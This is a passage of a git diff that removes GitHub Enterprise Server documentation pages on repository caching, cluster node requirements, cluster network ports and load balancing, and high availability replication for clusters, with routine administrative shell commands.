[`cache_sync` webhook](/webhooks-and-events/webhooks/webhook-events-and-payloads#cache_sync) can be used by CI systems to react to data being available in the cache. - -{% data variables.product.prodname_ghe_server %} caches both Git and {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) data. - -You have fine-grained control over which repositories are allowed to sync to the repository cache. Git data will only be replicated to the locations you specify. - -{% data reusables.enterprise.repository-caching-config-summary %} For more information, see [AUTOTITLE](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache). - -{% data reusables.enterprise_installation.replica-limit %} diff --git a/content/admin/monitoring-and-managing-your-instance/caching-repositories/configuring-a-repository-cache.md b/content/admin/monitoring-and-managing-your-instance/caching-repositories/configuring-a-repository-cache.md deleted file mode 100644 index 953912951cf8..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/caching-repositories/configuring-a-repository-cache.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Configuring a repository cache -intro: 'You can configure a repository cache for {% data variables.product.prodname_ghe_server %} by creating a new instance, connecting the repository cache to your primary instance, and configuring replication of repository networks to the repository cache.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -redirect_from: - - /admin/enterprise-management/caching-repositories/configuring-a-repository-cache - - /admin/monitoring-managing-and-updating-your-instance/caching-repositories/configuring-a-repository-cache ---- - -## About configuration for repository caching - -{% data reusables.enterprise.repository-caching-config-summary %} Then, you can set data location policies that govern which repository networks are replicated to the repository cache. - -Repository caching is not supported with clustering. - -## DNS for repository caches - -The primary instance and repository cache should have different DNS names. For example, if your primary instance is at `github.example.com`, you might decide to name a cache `europe-ci.github.example.com` or `github.asia.example.com`. - -To have your CI machines fetch from the repository cache instead of the primary instance, you can use Git's `url.<base>.insteadOf` configuration setting. For more information, see [`git-config`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-urlltbasegtinsteadOf) in the Git documentation. - -For example, the global `.gitconfig` for the CI machine would include these lines. - -```text -[url "https://europe-ci.github.example.com/"] - insteadOf = https://github.example.com/ -``` - -Then, when told to fetch `https://github.example.com/myorg/myrepo`, Git will instead fetch from `https://europe-ci.github.example.com/myorg/myrepo`. - -## Configuring a repository cache - -1. Set up a new {% data variables.product.prodname_ghe_server %} instance on your desired platform. This instance will be your repository cache. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). -{% data reusables.enterprise_installation.replica-steps %} -1. Connect to the repository cache's IP address using SSH. - - ```shell - ssh -p 122 admin@REPLICA-IP - ``` - -{% data reusables.enterprise_installation.generate-replication-key-pair %} -{% data reusables.enterprise_installation.add-ssh-key-to-primary %} -1. To verify the connection to the primary and enable replica mode for the repository cache, run `ghe-repl-setup` again. - * If the repository cache is your only additional node, no arguments are required. - - ```shell - ghe-repl-setup PRIMARY-IP - ``` - - * If you're configuring a repository cache in addition to one or more existing replicas, use the `-a` or `--add` argument. - - ```shell - ghe-repl-setup -a PRIMARY-IP - ``` - -1. To configure the repository cache, use the `ghe-repl-node` command and include the necessary parameters. - * Set a `cache-location` for the repository cache, replacing _CACHE-LOCATION_ with an alphanumeric identifier, such as the region where the cache is deployed. The _CACHE-LOCATION_ value must not be any of the subdomains reserved for use with subdomain isolation, such as `assets` or `media`. For a list of reserved names, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation#about-subdomain-isolation). - * Set a `cache-domain` for the repository cache, replacing _EXTERNAL-CACHE-DOMAIN_ with the hostname Git clients will use to access the repository cache. If you do not specify a `cache-domain`, {% data variables.product.prodname_ghe_server %} will prepend the _CACHE-LOCATION_ value as a subdomain to the hostname configured for your instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-a-hostname). - * If you haven't already, set the datacenter name on the primary and any replica appliances, replacing DC-NAME with a datacenter name. - - ```shell - ghe-repl-node --datacenter DC-NAME - ``` - - * New caches will attempt to seed from another cache in the same datacenter. Set a `datacenter` for the repository cache, replacing REPLICA-DC-NAME with the name of the datacenter where you're deploying the node. - - ```shell - ghe-repl-node --cache CACHE-LOCATION --cache-domain EXTERNAL-CACHE-DOMAIN --datacenter REPLICA-DC-NAME - ``` - -{% data reusables.enterprise_installation.replication-command %} -{% data reusables.enterprise_installation.verify-replication-channel %} -1. To enable replication of repository networks to the repository cache, set a data location policy. For more information, see [Data location policies](#data-location-policies). - -## Data location policies - -You can control data locality by configuring data location policies for your repositories with the `spokesctl cache-policy` command. Data location policies determine which repository networks are replicated on which repository caches. By default, no repository networks will be replicated on any repository caches until a data location policy is configured. - -Data location policies affect only Git content. Content in the database, such as issues and pull request comments, will be replicated to all nodes regardless of policy. - -> [!NOTE] -> Data location policies are not the same as access control. You must use repository roles to control which users may access a repository. For more information about repository roles, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -You can configure a policy to replicate all networks with the `--default` flag. For example, this command will create a policy to replicate a single copy of every repository network to the set of repository caches whose `cache_location` is "kansas". - -```shell -ghe-spokesctl cache-policy set --default 1 kansas -``` - -To configure replication for a repository network, specify the repository that is the root of the network. A repository network includes a repository and all of the repository's forks. You cannot replicate part of a network without replicating the whole network. - -```shell -ghe-spokesctl cache-policy set <owner/repository> 1 kansas -``` - -You can override a policy that replicates all networks and exclude specific networks by specifying a replica count of zero for the network. For example, this command specifies that any repository cache in location "kansas" cannot contain any copies of that network. - -```shell -ghe-spokesctl cache-policy set <owner/repository> 0 kansas -``` - -Replica counts greater than one in a given cache location are not supported. diff --git a/content/admin/monitoring-and-managing-your-instance/caching-repositories/index.md b/content/admin/monitoring-and-managing-your-instance/caching-repositories/index.md deleted file mode 100644 index 49de83d6ce0c..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/caching-repositories/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Caching repositories -intro: 'You can improve performance for your geographically-distributed team with repository caching, which provides read-only mirrors close to your users and CI clients.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-repository-caching - - /configuring-a-repository-cache -redirect_from: - - /admin/enterprise-management/caching-repositories - - /admin/monitoring-managing-and-updating-your-instance/caching-repositories ---- - diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-cluster-nodes.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-cluster-nodes.md deleted file mode 100644 index df1c98d4ac4d..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-cluster-nodes.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: About cluster nodes -product: '{% data reusables.gated-features.cluster %}' -intro: 'In a {% data variables.product.prodname_ghe_server %} cluster, nodes are individual virtual machines (VMs) running the {% data variables.product.prodname_ghe_server %} software that comprise the instance. Each node runs a set of services.' -redirect_from: - - /enterprise/admin/clustering/about-cluster-nodes - - /enterprise/admin/enterprise-management/about-cluster-nodes - - /admin/enterprise-management/about-cluster-nodes - - /admin/enterprise-management/configuring-clustering/about-cluster-nodes - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/about-cluster-nodes -versions: - ghes: '*' -type: overview -topics: - - Clustering - - Enterprise ---- - -## About {% data variables.product.prodname_ghe_server %} cluster nodes - -Each node in a {% data variables.product.prodname_ghe_server %} cluster is a virtual machine (VM) that runs the {% data variables.product.prodname_ghe_server %} software. Before you deploy a cluster, you can review hardware requirements, required services, and design recommendations. - -{% data reusables.enterprise_clustering.clustering-requires-https %} - -## Hardware requirements - -Each node must have a root volume, as well as a separate data volume. These are minimum recommendations. More resources may be required depending on your usage, such as user activity and selected integrations. - -| Services | Minimum memory required | Minimum data volume free space required | -| :- | :- | :- | -| `job-server`,<br/>`memcache-server`,<br/>`web-server` | 14 GB | 1 GB | -| `consul-server`,<br/>`mysql-server`,<br/>`redis-server` | 14 GB | 10 GB | -| `git-server`,<br/>`metrics-server`,<br/>`pages-server`,<br/>`storage-server` | 14 GB | 10 GB | -| `elasticsearch-server` | 14 GB | 10 GB | - -## Services required for clustering - -{% data variables.product.prodname_ghe_server %} comprises a set of services. In a cluster, these services run across multiple nodes, and the instance balances requests between the nodes. The instance automatically stores redundant copies of data on separate nodes. Most services are equal peers with other instances of the same service. The exceptions to this distribution are the `mysql-server` and `redis-server` services, which operate with a single primary node with one or more replica nodes. - -For adequate redundancy, use these minimum nodes operating each service. - -> [!NOTE] -> Your environment's scaling requirements depend on many factors, including the size and number of repositories, number of users, and overall utilization. - -## Example cluster configuration - -The following example demonstrates a minimal cluster configuration, which includes 11 nodes that run the necessary services. - -| Tiers | Services | Minimum nodes required | -| :- | :- | :- | -| Front end | `job-server`,<br/>`memcache-server`,<br/>`web-server` | 2 | -| Database | `consul-server`,<br/>`mysql-server`,<br/>`redis-server` | 3 | -| Storage | `git-server`,<br/>`metrics-server`,<br/>`pages-server`,<br/>`storage-server` | 3 | -| Search | `elasticsearch-server` | 3 | - -## Cluster design recommendations - -Clustering allows services that make up {% data variables.product.prodname_ghe_server %} to be scaled out independently of each other. This flexibility can be used to design and implement a cluster that fits organizations with different scalability requirements. For example, some organizations may need more storage throughput for large or frequent fetches, but web server usage may be relatively low. Another organization may have good performance with fewer storage resources, but need many nodes running `pages-server` or `elasticsearch-server`. Many different combinations are possible. Work with your account representative to determine the best cluster configuration for your specific needs. - -* Spread redundant nodes across independent hardware. If you share CPU, memory, or storage devices, you'll reduce performance and introduce single points of failure. Shared networking components can also reduce throughput and increase risk of loss of connectivity in the event of an outage. -* Use fast storage. Storage area networks (SAN) are often optimized for maximum space utilization, availability and fault tolerance, not absolute throughput. {% data variables.product.prodname_ghe_server %} clustering provides redundancy and availability, and will perform best on the fastest storage available. Local SSD storage is recommended. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-clustering.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-clustering.md deleted file mode 100644 index e5a2cbb950ad..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/about-clustering.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About clustering -intro: 'The cluster topology for {% data variables.product.prodname_ghe_server %} is designed to support tens of thousands of users where other topologies would experience resource exhaustion. In a cluster, the instance''s services scale horizontally across multiple nodes.' -product: '{% data variables.product.company_short %} determines eligibility for clustering, and must enable the configuration for your instance''s license. Clustering requires careful planning and additional administrative overhead.' -redirect_from: - - /enterprise/admin/clustering/overview - - /enterprise/admin/clustering/about-clustering - - /enterprise/admin/clustering/clustering-overview - - /enterprise/admin/enterprise-management/about-clustering - - /admin/enterprise-management/about-clustering - - /admin/enterprise-management/configuring-clustering/about-clustering - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/about-clustering -versions: - ghes: '*' -type: overview -topics: - - Clustering - - Enterprise ---- - -## About clustering for {% data variables.product.prodname_ghe_server %} - -The cluster topology for {% data variables.product.prodname_ghe_server %} provides horizontal scaling for companies with tens of thousands of developers. {% data variables.product.company_short %} recommends clustering if a single primary node would routinely experience resource exhaustion. - -In a cluster, the instance provides services and distributes data across multiple virtual machines (VMs) that run the {% data variables.product.prodname_ghe_server %} software. Each VM is called a node. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/about-cluster-nodes). - -<a name="is-clustering-right-for-my-organization"></a> - -## Is clustering right for my environment? - -{% data reusables.enterprise_clustering.clustering-scalability %} However, setting up a redundant and scalable cluster requires careful planning. Compared to other topologies like high availability (HA), additional complexity affects installation, configuration, disaster recovery, and upgrades. - -{% data variables.product.prodname_ghe_server %} requires low latency between nodes and is not intended for redundancy across geographic locations. - -Clustering provides redundancy, but it is not intended to replace a high-availability configuration. Configuration and maintenance of a high-availability configuration is far simpler than clustering and will accommodate most environments. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability) and [AUTOTITLE](/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha). - -{% data reusables.package_registry.packages-cluster-support %} - -## How do I get access to clustering? - -{% data variables.product.company_short %} designed the cluster topology for specific scaling situations. Clustering is not intended for every company or environment. If you're interested in clustering for your environment, contact your dedicated account manager or {% data variables.contact.contact_enterprise_sales %}. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/cluster-network-configuration.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/cluster-network-configuration.md deleted file mode 100644 index e02949f2c1b2..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/cluster-network-configuration.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Cluster network configuration -intro: 'A {% data variables.product.prodname_ghe_server %} cluster requires proper DNS name resolution, load balancing, and communication between nodes.' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/cluster-network-configuration - - /enterprise/admin/enterprise-management/cluster-network-configuration - - /admin/enterprise-management/cluster-network-configuration - - /admin/enterprise-management/configuring-clustering/cluster-network-configuration - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/cluster-network-configuration -versions: - ghes: '*' -type: reference -topics: - - Clustering - - Enterprise - - Infrastructure - - Networking -shortTitle: Configure a cluster network ---- - -## About networking for a {% data variables.product.prodname_ghe_server %} cluster - -Each node in your {% data variables.product.prodname_ghe_server %} cluster must be able to communicate with all of the other nodes in the cluster over the network. You can review the required ports and protocols for end users, administration, and communication between nodes. To distribute traffic among front-end nodes, {% data variables.product.company_short %} recommends that you configure an external load balancer. - -## Network considerations - -The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond. - -{% data reusables.enterprise_clustering.network-latency %} - -* [Application ports for end users](#application-ports-for-end-users) -* [Administrative ports](#administrative-ports) -* [Cluster communication ports](#cluster-communication-ports) - -### Application ports for end users - -Application ports provide web application and Git access for end users. - -| Port | Description | Encrypted | -| :------------- | :------------- | :------------- | -| 22/TCP | Git over SSH | {% octicon "check" aria-label="Encrypted" %} | -| 25/TCP | SMTP | Requires STARTTLS | -| 80/TCP | HTTP | {% octicon "x" aria-label="Not encrypted" %}<br><br>When SSL is enabled this port redirects to HTTPS | -| 443/TCP | HTTPS | {% octicon "check" aria-label="Encrypted" %} | -| 9418/TCP | Simple Git protocol port<br>(Disabled in private mode) | {% octicon "x" aria-label="Not encrypted" %} | - -### Administrative ports - -Administrative ports are not required for basic application use by end users. - -| Port | Description | Encrypted | -| :------------- | :------------- | :------------- | -| ICMP | ICMP Ping | {% octicon "x" aria-label="Not encrypted" %} | -| 122/TCP | Administrative SSH | {% octicon "check" aria-label="Encrypted" %} | -| 161/UDP | SNMP | {% octicon "x" aria-label="Not encrypted" %} | -| 8080/TCP | Management Console HTTP | {% octicon "x" aria-label="Not encrypted" %}<br><br>When SSL is enabled this port redirects to HTTPS | -| 8443/TCP | Management Console HTTPS | {% octicon "check" aria-label="Encrypted" %} | - -### Cluster communication ports - -If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally. - -| Port | Description | -| :------------- | :------------- | -| 1336/TCP | Internal API | -| 3033/TCP | Internal SVN access | -| 3037/TCP | Internal SVN access | -| 3306/TCP | MySQL | -| 4486/TCP | Governor access | -| 5115/TCP | Storage backend | -| 5208/TCP | Internal SVN access | -| 6379/TCP | Redis | -| 8001/TCP | Grafana | -| 8090/TCP | Internal GPG access | -| 8149/TCP | GitRPC file server access | -| 8300/TCP | Consul | -| 8301/TCP | Consul | -| 8302/TCP | Consul | -| 9000/TCP | Git Daemon | -| 9102/TCP | Pages file server | -| 9105/TCP | LFS server | -| 9200/TCP | Elasticsearch | -| 9203/TCP | Semantic code service | -| 9300/TCP | Elasticsearch | -| 11211/TCP | Memcache | -| 161/UDP | SNMP | -| 8125/UDP | Statsd | -| 8301/UDP | Consul | -| 8302/UDP | Consul | -| 25827/UDP | Collectd | - -## Configuring a load balancer - - We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations: - -* TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests. -* Sticky sessions shouldn't be enabled. - -{% data reusables.enterprise_installation.terminating-tls %} - -## Handling client connection information - -Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required. - -{% data reusables.enterprise_clustering.proxy_preference %} - -{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %} - -### Enabling PROXY support on {% data variables.product.prodname_ghe_server %} - -We strongly recommend enabling PROXY support for both your instance and the load balancer. - -{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} - -* For your instance, use this command: - - ```shell - ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply - ``` - -* For the load balancer, use the instructions provided by your vendor. - -{% data reusables.enterprise_clustering.proxy_protocol_ports %} - -### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %} - -{% data reusables.enterprise_clustering.x-forwarded-for %} - -To enable the `X-Forwarded-For` header, use this command: - -```shell -ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply -``` - -{% data reusables.enterprise_clustering.without_proxy_protocol_ports %} - -### Configuring health checks - -Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability. - -{% data reusables.enterprise_clustering.health_checks %} -{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} - -## DNS requirements - -{% data reusables.enterprise_clustering.load_balancer_dns %} diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md deleted file mode 100644 index 7b1858e7b52f..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md +++ /dev/null @@ -1,357 +0,0 @@ ---- -title: Configuring high availability replication for a cluster -intro: 'You can configure a replica of your entire {% data variables.product.prodname_ghe_server %} cluster in a separate datacenter, allowing your cluster to fail over to redundant nodes.' -redirect_from: - - /enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster - - /admin/enterprise-management/configuring-high-availability-replication-for-a-cluster - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/configuring-high-availability-replication-for-a-cluster -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - High availability - - Infrastructure -shortTitle: Configure HA replication ---- - -## About high availability replication for clusters - -You can provide protection against disruption in a datacenter or cloud region by configuring a cluster deployment of {% data variables.product.prodname_ghe_server %} for high availability. In a high availability configuration, an identical set of replica nodes sync with the nodes in your active cluster. If hardware or software failures affect the datacenter with your active cluster, you can manually fail over to the replica nodes and continue processing user requests, minimizing the impact of the outage. - -In a high availability configuration, nodes that host data services sync regularly with the replica cluster. Replica nodes run in standby and do not serve applications or process user requests. - -We recommend configuring high availability as a part of a comprehensive disaster recovery plan for {% data variables.product.prodname_ghe_server %} clustering. We also recommend performing regular backups. For more information, see [AUTOTITLE](/enterprise/admin/configuration/configuring-backups-on-your-appliance). - -## Prerequisites - -### Hardware and software - -For each existing node in your active cluster, you'll need to provision a second virtual machine with identical hardware resources. For example, if your cluster has 13 nodes and each node has 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage, you must provision 13 new virtual machines that each have 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage. - -On each new virtual machine, install the same version of {% data variables.product.prodname_ghe_server %} that runs on the nodes in your active cluster. You don't need to upload a license or perform any additional configuration. For more information, see [AUTOTITLE](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance). - -> [!NOTE] -> The nodes that you intend to use for high availability replication should be standalone {% data variables.product.prodname_ghe_server %} instances. Don't initialize the replica nodes as a second cluster. - -### Network - -You must assign a static IP address to each new node that you provision, and you must configure a load balancer to accept connections and direct them to the nodes in your cluster's front-end tier. - -{% data reusables.enterprise_clustering.network-latency %} For more information about network connectivity between nodes in the replica cluster, see [AUTOTITLE](/enterprise/admin/enterprise-management/cluster-network-configuration). - -## Creating a high availability replica for a cluster - -{% ifversion cluster-ha-tooling-improvements %} - -To create a high availability replica for your cluster, use the `ghe-cluster-repl-bootstrap` utility, then complete the follow-up tasks that the tool details. - -{% data reusables.enterprise_clustering.ssh-to-a-node %} -1. To begin configuration of high availability, run the following command. The `-p` and `-s` flags are optional. If you're using the flags, replace PRIMARY-DATACENTER and SECONDARY-DATACENTER with the names of your primary and secondary datacenters. - - > [!NOTE] - > * By default, the utility will use the name of the primary datacenter in `cluster.conf`. - > * If no name for the primary datacenter is defined, the utility will use `mona`. - > * If no name for the secondary datacenter is defined, the utility will use `hubot`. - - ```shell copy - ghe-cluster-repl-bootstrap -p PRIMARY-DATACENTER -s SECONDARY-DATACENTER - ``` - -1. After the utility runs, you will see output with further instructions. To finish the configuration, complete the tasks listed in the output. - -{% else %} - -To create a high availability replica for your cluster, you must complete the following tasks. You can also review an example configuration. - -1. [Assign active nodes to the primary datacenter](#1-assign-active-nodes-to-the-primary-datacenter). -1. [Add replica nodes to the cluster configuration file](#2-add-replica-nodes-to-the-cluster-configuration-file). -1. [Review an example configuration](#3-review-an-example-configuration). - -### 1. Assign active nodes to the primary datacenter - -Before you define a secondary datacenter for your replica nodes, ensure that you assign your active nodes to the primary datacenter. - -{% data reusables.enterprise_clustering.ssh-to-a-node %} -{% data reusables.enterprise_clustering.open-configuration-file %} -1. Note the name of your cluster's primary datacenter. The `[cluster]` section at the top of the cluster configuration file defines the primary datacenter's name, using the `primary-datacenter` key-value pair. - - ```text - [cluster] - mysql-master = HOSTNAME - redis-master = HOSTNAME - primary-datacenter = primary - ``` - - * Optionally, change the name of the primary datacenter to something more descriptive or accurate by editing the value of `primary-datacenter`. - -1. {% data reusables.enterprise_clustering.configuration-file-heading %} Under each node's heading, add a new key-value pair to assign the node to a datacenter. Use the same value as `primary-datacenter` from step 3 above. For example, if you want to use the default name (`default`), add the following key-value pair to the section for each node. - - ```text - datacenter = primary - ``` - - When you're done, the section for each node in the cluster configuration file should look like the following example. {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %} - - ```text - [cluster "HOSTNAME"] - datacenter = default - hostname = HOSTNAME - ipv4 = IP-ADDRESS - ... - ... - ``` - - > [!NOTE] - > If you changed the name of the primary datacenter in step 3, find the `consul-datacenter` key-value pair in the section for each node and change the value to the renamed primary datacenter. For example, if you named the primary datacenter `primary`, use the following key-value pair for each node. - > - > ```text - > consul-datacenter = primary - > ``` - -{% data reusables.enterprise_clustering.apply-configuration %} -{% data reusables.enterprise_clustering.configuration-finished %} - -After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished assigning your nodes to the cluster's primary datacenter. - -### 2. Add replica nodes to the cluster configuration file - -To configure high availability, you must define a corresponding replica node for every active node in your cluster. To create a new cluster configuration that defines both active and replica nodes, you'll complete the following tasks. - -* Create a copy of the active cluster configuration file. -* Edit the copy to define replica nodes that correspond to the active nodes, adding the IP addresses of the new virtual machines that you provisioned. -* Merge the modified copy of the cluster configuration back into your active configuration. -* Apply the new configuration to start replication. - -For an example configuration, see [Review an example configuration](#3-review-an-example-configuration). - -1. For each node in your cluster, provision a matching virtual machine with identical specifications, running the same version of {% data variables.product.prodname_ghe_server %}. Note the IPv4 address and hostname for each new cluster node. For more information, see [Prerequisites](#prerequisites). - - > [!NOTE] - > If you're reconfiguring high availability after a failover, you can use the old nodes from the primary datacenter instead. - -{% data reusables.enterprise_clustering.ssh-to-a-node %} -1. Back up your existing cluster configuration. - - ```shell - cp /data/user/common/cluster.conf ~/$(date +%Y-%m-%d)-cluster.conf.backup - ``` - -1. Create a copy of your existing cluster configuration file in a temporary location, like `/home/admin/cluster-replica.conf`. - - ```shell - grep -Ev "(?:|ipv|uuid)" /data/user/common/cluster.conf > ~/cluster-replica.conf - ``` - -1. Remove the `[cluster]` section from the temporary cluster configuration file that you copied in the previous step. - - ```shell - git config -f ~/cluster-replica.conf --remove-section cluster - ``` - -1. Decide on a name for the secondary datacenter where you provisioned your replica nodes, then update the temporary cluster configuration file with the new datacenter name. Replace `SECONDARY` with the name you choose. - - ```shell - sed -i 's/datacenter = default/datacenter = SECONDARY/g' ~/cluster-replica.conf - ``` - -1. Decide on a pattern for the replica nodes' hostnames. - - > [!WARNING] - > Hostnames for replica nodes must be unique and differ from the hostname for the corresponding active node. - -1. Open the temporary cluster configuration file from step 3 in a text editor. For example, you can use Vim. - - ```shell - sudo vim ~/cluster-replica.conf - ``` - -1. In each section within the temporary cluster configuration file, update the node's configuration. {% data reusables.enterprise_clustering.configuration-file-heading %} - - * Change the quoted hostname in the section heading and the value for `hostname` within the section to the replica node's hostname, per the pattern you chose in step 7 above. - * Add a new key named `ipv4`, and set the value to the replica node's static IPv4 address. - * Add a new key-value pair, `replica = enabled`. - - ```shell - [cluster "NEW REPLICA NODE HOSTNAME"] - ... - hostname = NEW REPLICA NODE HOSTNAME - ipv4 = NEW REPLICA NODE IPV4 ADDRESS - replica = enabled - ... - ... - ``` - -1. Append the contents of the temporary cluster configuration file that you created in step 4 to the active configuration file. - - ```shell - cat ~/cluster-replica.conf >> /data/user/common/cluster.conf - ``` - -1. Designate the primary MySQL and Redis nodes in the secondary datacenter. Replace `REPLICA MYSQL PRIMARY HOSTNAME` and `REPLICA REDIS PRIMARY HOSTNAME` with the hostnames of the replica node that you provisioned to match your existing MySQL and Redis primaries. - - ```shell - git config -f /data/user/common/cluster.conf cluster.mysql-master-replica REPLICA-MYSQL-PRIMARY-HOSTNAME - git config -f /data/user/common/cluster.conf cluster.redis-master-replica REPLICA-REDIS-PRIMARY-HOSTNAME - ``` - - > [!WARNING] - > Review your cluster configuration file before proceeding. - > - > * In the top-level `[cluster]` section, ensure that the values for `mysql-master-replica` and `redis-master-replica` are the correct hostnames for the replica nodes in the secondary datacenter that will serve as the MySQL and Redis primaries after a failover. - > * In each section for an active node named <code>[cluster "ACTIVE NODE HOSTNAME"]</code>, double-check the following key-value pairs. - > * `datacenter` should match the value of `primary-datacenter` in the top-level `[cluster]` section. - > * `consul-datacenter` should match the value of `datacenter`, which should be the same as the value for `primary-datacenter` in the top-level `[cluster]` section. - > * Ensure that for each active node, the configuration has **one** corresponding section for **one** replica node with the same roles. In each section for a replica node, double-check each key-value pair. - > * `datacenter` should match all other replica nodes. - > * `consul-datacenter` should match all other replica nodes. - > * `hostname` should match the hostname in the section heading. - > * `ipv4` should match the node's unique, static IPv4 address. - > * `replica` should be configured as `enabled`. - > * Take the opportunity to remove sections for offline nodes that are no longer in use. - > - > To review an example configuration, see [Review an example configuration](#3-review-an-example-configuration). - -1. Initialize the new cluster configuration. {% data reusables.enterprise.use-a-multiplexer %} - - ```shell - ghe-cluster-config-init - ``` - -1. After the initialization finishes, {% data variables.product.prodname_ghe_server %} displays the following message. - - ```shell - Finished cluster initialization - ``` - -{% data reusables.enterprise_clustering.apply-configuration %} -1. After the configuration run finishes, verify that cluster replication is correctly set up and working. - - ```shell - ghe-cluster-repl-status - ``` - -{% data reusables.enterprise_clustering.configuration-finished %} -1. Configure a load balancer that will accept connections from users after you fail over to the replica nodes. For more information, see [AUTOTITLE](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer). - -You've finished configuring high availability replication for the nodes in your cluster. Each active node begins replicating configuration and data to its corresponding replica node, and you can direct traffic to the load balancer for the secondary datacenter in the event of a failure. For more information about failing over, see [AUTOTITLE](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster). - -### 3. Review an example configuration - -The top-level `[cluster]` configuration should look like the following example. - -```shell -[cluster] - mysql-master = HOSTNAME-OF-ACTIVE-MYSQL-MASTER - redis-master = HOSTNAME-OF-ACTIVE-REDIS-MASTER - primary-datacenter = PRIMARY-DATACENTER-NAME - mysql-master-replica = HOSTNAME-OF-REPLICA-MYSQL-MASTER - redis-master-replica = HOSTNAME-OF-REPLICA-REDIS-MASTER - mysql-auto-failover = false -... -``` - -The configuration for an active node in your cluster's storage tier should look like the following example. - -```shell -... -[cluster "UNIQUE ACTIVE NODE HOSTNAME"] - datacenter = default - hostname = UNIQUE-ACTIVE-NODE-HOSTNAME - ipv4 = IPV4-ADDRESS - consul-datacenter = default - consul-server = true - git-server = true - pages-server = true - mysql-server = true - elasticsearch-server = true - redis-server = true - memcache-server = true - metrics-server = true - storage-server = true - uuid = UUID SET AUTOMATICALLY -... -``` - -The configuration for the corresponding replica node in the storage tier should look like the following example. - -* Important differences from the corresponding active node are **bold**. -* {% data variables.product.prodname_ghe_server %} assigns the value for `uuid` automatically, so you shouldn't define this value for replica nodes that you will initialize. -* The server roles, defined by `*-server` keys, match the corresponding active node. - -```shell -... -[cluster "UNIQUE REPLICA NODE HOSTNAME"] - replica = enabled - ipv4 = IPV4 ADDRESS OF NEW VM WITH IDENTICAL RESOURCES - datacenter = SECONDARY DATACENTER NAME - hostname = UNIQUE REPLICA NODE HOSTNAME - consul-datacenter = SECONDARY DATACENTER NAME - consul-server = true - git-server = true - pages-server = true - mysql-server = true - elasticsearch-server = true - redis-server = true - memcache-server = true - metrics-server = true - storage-server = true - uuid = DO NOT DEFINE -... -``` - -{% endif %} - -## Monitoring replication between active and replica cluster nodes - -Initial replication between the active and replica nodes in your cluster takes time. The amount of time depends on the amount of data to replicate and the activity levels for {% data variables.product.prodname_ghe_server %}. - -You can monitor the progress on any node in the cluster, using command-line tools available via the {% data variables.product.prodname_ghe_server %} administrative shell. For more information about the administrative shell, see [AUTOTITLE](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh). - -To monitor the replication of all services, use the following command. - -```shell -ghe-cluster-repl-status -``` - -You can use `ghe-cluster-status` to review the overall health of your cluster. For more information, see [AUTOTITLE](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status). - -## Reconfiguring high availability replication after a failover - -After you 